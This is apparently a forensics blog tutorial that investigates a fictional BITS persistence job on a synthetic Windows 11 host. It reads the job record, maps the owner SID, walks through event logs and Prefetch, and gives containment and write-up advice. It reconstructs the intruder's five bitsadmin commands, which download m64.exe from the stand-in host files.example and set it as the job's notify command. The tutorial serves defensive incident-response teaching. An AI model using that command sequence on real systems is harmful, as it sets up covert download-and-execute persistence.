Blog11 min read
Investigating a BITS Persistence Job: FIN-WKS-07
A worked BITS investigation on a fictional Windows 11 intrusion: find the job that imitates Intel, read its record, tie it to an account, corroborate it, write it up.
TL;DR. On FIN-WKS-07, the BITS queue holds the usual updater jobs owned by SYSTEM and alice, and one that is not usual: IntelGfxSync, created at about 10:24 by the rogue account svc_backup, downloading http://files.example/m64.exe to C:\ProgramData\Intel\m64.exe, with the notify command C:\ProgramData\Intel\m64.exe -svc and a minimum retry delay of a full day. Read the record field by field, map the owner SID to svc_backup, use the state to tell whether BITS has had reason to run the command, then corroborate outside BITS: bitsadmin.exe in Prefetch and process logs, the BIT*.tmp file in the folder Defender was told to ignore, and a child process of the BITS svchost.exe. BITS Parser lists and flags the job. The host, accounts, URLs and times are synthetic.
The case
FIN-WKS-07 is a fictional Windows 11 workstation. The people, accounts, files, URLs and times are invented and match the other examples in this family of sites. On 2026-09-14, a rogue local account, svc_backup, is created and used over Remote Desktop to bring in tools, weaken Defender, run a backdoor, move laterally and stage data. All times are UTC.
What other artifacts have already shown:
| Time | Event |
|---|---|
| 09:57:41 | svc_backup created (Security 4720) |
| 09:59:28 | svc_backup logs on over RDP (Security 4624, logon type 10) |
| 10:02:16 | cmd.exe runs in its session |
| 10:03:05 | tools.zip downloaded from http://files.example/tools.zip |
| 10:08:12 | Defender exclusions added for the path C:\ProgramData\Intel and the process m64.exe (5007) |
| 10:09:44 | C:\ProgramData\Intel\m64.exe runs for the first time |
| 10:21:03 | PsExec64.exe runs |
| 10:26:44 | Scheduled task a8Xq2LmZ created |
| 10:47:12 | rclone.exe runs |
| 10:55:12 | Collection |
At 10:55:12 the responder copied C:\ProgramData\Microsoft\Network\Downloader\ from a shadow copy and exported the Bits-Client log, as in collecting BITS evidence, with Prefetch, the hives and the other event logs.
Step 1: list every job
BITS Parser lists each job with its files, owner, notify command line and times. On FIN-WKS-07 they fall into two groups:
| Jobs | Owner | URLs | Destinations | Notify command |
|---|---|---|---|---|
| Updaters for Edge, Office, OneDrive, Teams, the Store and Windows Update | SYSTEM or alice | Vendor hosts over HTTPS | Program folders, Windows folders, alice's profile | None |
IntelGfxSync | svc_backup | http://files.example/m64.exe | C:\ProgramData\Intel\m64.exe | C:\ProgramData\Intel\m64.exe -svc |
One job has a notify command, one job belongs to svc_backup, and one job uses plain HTTP to a host that is not a vendor's. It is the same job. The checks behind that reading are in telling benign BITS jobs from malicious ones.
Step 2: read the record
| Field | Value | Reading |
|---|---|---|
| Name | IntelGfxSync | Imitates Intel graphics software |
| Type, priority | Download, normal | Normal is BITS's default priority |
| State | Transferred | The file arrived and the job was never completed |
| Owner | S-1-5-21-3623811015-3361044348-30300820-1119 | svc_backup, see step 4 |
| Notify program | C:\ProgramData\Intel\m64.exe | The backdoor |
| Notify parameters | C:\ProgramData\Intel\m64.exe -svc | The first parameter repeats the program, as Microsoft requires |
| Notify flags | 3: transferred, error | The default |
| Source URL | http://files.example/m64.exe | The host that served tools.zip at 10:03:05 |
| Destination | C:\ProgramData\Intel\m64.exe | The file that first ran at 10:09:44 |
| Temporary file | C:\ProgramData\Intel\BIT4A21.tmp | Where the downloaded copy is |
| Created | 2026-09-14 10:24:31 | When the job was set up |
| Modified | 2026-09-14 10:24:49 | The last change: the transfer ending, here |
| Minimum retry delay | 86,400 seconds (24 hours) | The default is 600 seconds |
| No-progress timeout | 1,209,600 seconds (14 days) | The default |
The record is consistent with five bitsadmin commands:
bitsadmin /create IntelGfxSync
bitsadmin /addfile IntelGfxSync http://files.example/m64.exe C:\ProgramData\Intel\m64.exe
bitsadmin /setnotifycmdline IntelGfxSync C:\ProgramData\Intel\m64.exe "C:\ProgramData\Intel\m64.exe -svc"
bitsadmin /setminretrydelay IntelGfxSync 86400
bitsadmin /resume IntelGfxSync
Consistent with, not proven by: the database stores the result, not the commands. The command lines come from process creation logs, and the program that created the job from event 3 (step 6). What each field means is in the qmgr.db format.
Step 3: why it stands out
- A notify command on a user's job, pointing at an executable in a vendor-looking folder under
ProgramData. That is the shape of BITS persistence. - The destination is the notify program. The job fetches the payload it runs.
- The owner is an account created 27 minutes earlier.
- The URL is plain HTTP to the host that delivered the toolkit.
- The retry delay is 144 times the default. Someone set it.
- The timing. Three minutes after PsExec, two before the scheduled task: in the middle of the intruder's persistence work.
- The name. Check whether any Intel software on the host uses BITS. No other job in the queue comes from Intel.
Step 4: tie it to the account
- The SID.
S-1-5-21-3623811015-3361044348-30300820-1119is svc_backup: theProfileListkey in the SOFTWARE hive maps it toC:\Users\svc_backup, and the SAM holds the account. alice is…-1104on the same machine. - Creator or new owner? An administrator can take ownership of another user's job, but Microsoft states that taking ownership removes the notify command line. A job that still carries its command was not taken over after the command was set.
- When it runs. Microsoft states that BITS transfers a user's jobs only while that user is logged on interactively, and a Remote Desktop session counts. The notify program starts in the context of the user who set it. So
m64.exe -svcruns as svc_backup, not as SYSTEM, and the job wakes with svc_backup's sessions, such as the one that started at 09:59:28.
Step 5: what the state means
The state tells you whether BITS has had reason to run the command. It does not tell you that the command ran.
| State | What it means for the notify command |
|---|---|
| Suspended | Not resumed; the command has not been triggered |
| Queued, connecting, transferring | Waiting or working; not triggered yet |
| Transient error | Failing and retrying every minimum retry delay; triggered when the no-progress timeout moves it to error |
| Error | Triggered when the job entered this state |
| Transferred | Triggered when the job entered this state |
| Acknowledged, cancelled | Final states, only seen in carved or older records |
For IntelGfxSync, in the transferred state:
- BITS had reason to start
C:\ProgramData\Intel\m64.exe -svcwhen the transfer ended, around the modification time. - Nobody completed the job, so the new download is still
BIT4A21.tmpand the file namedm64.exeis the one unpacked earlier. Only Complete renames the temporary file. - If the program returns a non-zero exit code, BITS starts it again after the minimum retry delay: once a day, here.
- If someone deletes
m64.exebut leaves the job, the next launch fails with file not found and BITS writes event 64, the pattern of Mandiant's KEGTAP case. Remove the job, not only the file.
Step 6: the event log
The sample's Bits-Client log has the job's whole life around 10:24:
| Time (UTC) | Event | What it shows |
|---|---|---|
| 10:24:31 | 3 | Job IntelGfxSync created, owner FIN-WKS-07\svc_backup, creating process C:\Windows\System32\bitsadmin.exe (Windows 11 logs the process) |
| 10:24:35 | 16403 | A file added to the job; Microsoft gives this event no message, and Sigma reads its fields as the remote and local names |
| 10:24:39 | 6 | The notify command line set, where the build logs it |
| 10:24:46 | 59 | Transfer started for http://files.example/m64.exe |
| 10:24:49 | 60 | Transfer stopped, status 0x0: it finished |
| none | 64 | Would appear only if a launch of m64.exe failed |
There is no event 4: nothing called Complete, so the download is still BIT4A21.tmp and the notify command runs the m64.exe that was already in the folder. Whether event 4 marks the end of a transfer or the Complete call is not documented; note what you see. The event 3 time and the record's creation time should agree within seconds. If they do not, report both. Each event is described in Bits-Client event IDs.
Step 7: corroborate outside BITS
- Prefetch.
BITSADMIN.EXEshould show runs around 10:24; five commands mean five runs. If anyone ran bitsadmin during collection, its last run time is theirs, not the intruder's. See Prefetch as proof of execution. - Process creation. With command-line auditing (4688) or Sysmon (1), the five
bitsadmin.execommand lines are there in full. A launch ofm64.exe -svcby BITS appears with the parentsvchost.exe -k netsvcs -p -s BITSand the user svc_backup. - The file system.
$MFTand the USN journal should showBIT4A21.tmpcreated inC:\ProgramData\Intelat about 10:24. Hash it andm64.exe: equal hashes mean the same payload; different hashes mean a second one. - Defender.
C:\ProgramData\Intelbecame a path exclusion at 10:08:12, withm64.exeas a process exclusion. The temporary file sits in the excluded folder. See Defender exclusions and tampering. - Other persistence. Scheduled task
a8Xq2LmZ, created at 10:26:44, comes from the same session. Compare its action with the BITS command line, and check services and WMI subscriptions for the same program. - The network. Proxy or firewall records for
files.examplearound 10:24, with a User-Agent startingMicrosoft BITS/, confirm that the transfer left the host.
The timeline
| Time (UTC) | Event | Source |
|---|---|---|
| 09:57:41 | svc_backup created | Security log (4720) |
| 09:59:28 | svc_backup logs on over RDP | Security log (4624, type 10) |
| 10:03:05 | tools.zip downloaded from files.example | PowerShell Operational (4103) |
| 10:08:12 | Defender excludes C:\ProgramData\Intel and m64.exe | Defender Operational (5007) |
| 10:09:44 | m64.exe first runs | PCA, Prefetch |
| 10:21:03 | PsExec64.exe runs | Prefetch, BAM |
| 10:24:31 | BITS job IntelGfxSync created, owner svc_backup | qmgr.db creation time; event 3 if the log was collected |
| 10:24:49 | IntelGfxSync last modified, transfer ended | qmgr.db modification time and state |
| 10:26:44 | Scheduled task a8Xq2LmZ created | Task Scheduler artifacts |
| 10:47:12 | rclone.exe runs | PCA |
| 10:55:12 | Collection | Responder's notes |
Containment
- Record before acting: the live listings, the Downloader folder, the event log, and
BIT4A21.tmp, which Cancel would delete. - Cancel the job from an elevated prompt with
bitsadmin /canceland the job GUID. Do not take ownership first. - Remove the other persistence, disable svc_backup, and deal with
m64.exe. - Sweep the other hosts for a job named
IntelGfxSync, the hostfiles.example, the folderC:\ProgramData\Inteland the notify command. PsExec at 10:21:03 means at least one other machine to check.
Writing it up
- State what the artifact shows: "
qmgr.dbon FIN-WKS-07 holds a download job namedIntelGfxSync, created 2026-09-14 10:24:31 UTC and owned by SID…-1119(svc_backup), set to runC:\ProgramData\Intel\m64.exe -svcwhen the job is transferred or fails." Not "svc_backup ran m64.exe through BITS". - Say what the state means and what it does not prove, and name the evidence that the program did or did not run.
- Say that the times are FILETIME values in UTC and that the modification time is the last change to the job, not the last action of the intruder.
- Say that Microsoft does not document the format, and that the field meanings come from ANSSI, Mandiant and the parsers built on their work.
- List your own actions on the host, bitsadmin runs included.
FAQ
How do I find which account created a BITS job?
Read the owner SID in the job record and map it to an account through the ProfileList key in the SOFTWARE hive or the SAM. Event 3 in the Bits-Client log names the owner too. The account that created a job owns it unless an administrator took ownership, and taking ownership removes any notify command line.
Does a BITS job record prove that its notify program ran?
No. It proves that the command was configured and, through the state, whether BITS had reason to run it. Proof of a run comes from process creation events with the BITS svchost.exe as parent, from the program's Prefetch file, or, for a failed attempt, from Bits-Client event 64.
Should I cancel a malicious BITS job right away?
Record it first: save the live listings, copy the Downloader folder, the event log and the job's temporary file. Then cancel it as an administrator with bitsadmin /cancel and the job GUID. Do not take ownership of it before it is recorded, because that removes the notify command line from the job.
Why does the job only run when svc_backup is logged on?
BITS transfers a user's jobs only while that user is logged on interactively, at the console, over Remote Desktop or through fast user switching, and it starts the notify program in that user's context. A job owned by svc_backup waits between that account's sessions.
Related articles
Frequently asked questions
How do I find which account created a BITS job?
Read the owner SID in the job record and map it to an account through the ProfileList key in the SOFTWARE hive or the SAM. Event 3 in the Bits-Client log names the owner too. The account that created a job owns it unless an administrator took ownership, and taking ownership removes any notify command line.
Does a BITS job record prove that its notify program ran?
No. It proves that the command was configured and, through the state, whether BITS had reason to run it. Proof of a run comes from process creation events with the BITS svchost.exe as parent, from the program's Prefetch file, or, for a failed attempt, from Bits-Client event 64.
Should I cancel a malicious BITS job right away?
Record it first: save the live listings, copy the Downloader folder, the event log and the job's temporary file. Then cancel it as an administrator with bitsadmin /cancel and the job GUID. Do not take ownership of it before it is recorded, because that removes the notify command line from the job.
Why does the job only run when svc_backup is logged on?
BITS transfers a user's jobs only while that user is logged on interactively, at the console, over Remote Desktop or through fast user switching, and it starts the notify program in that user's context. A job owned by svc_backup waits between that account's sessions.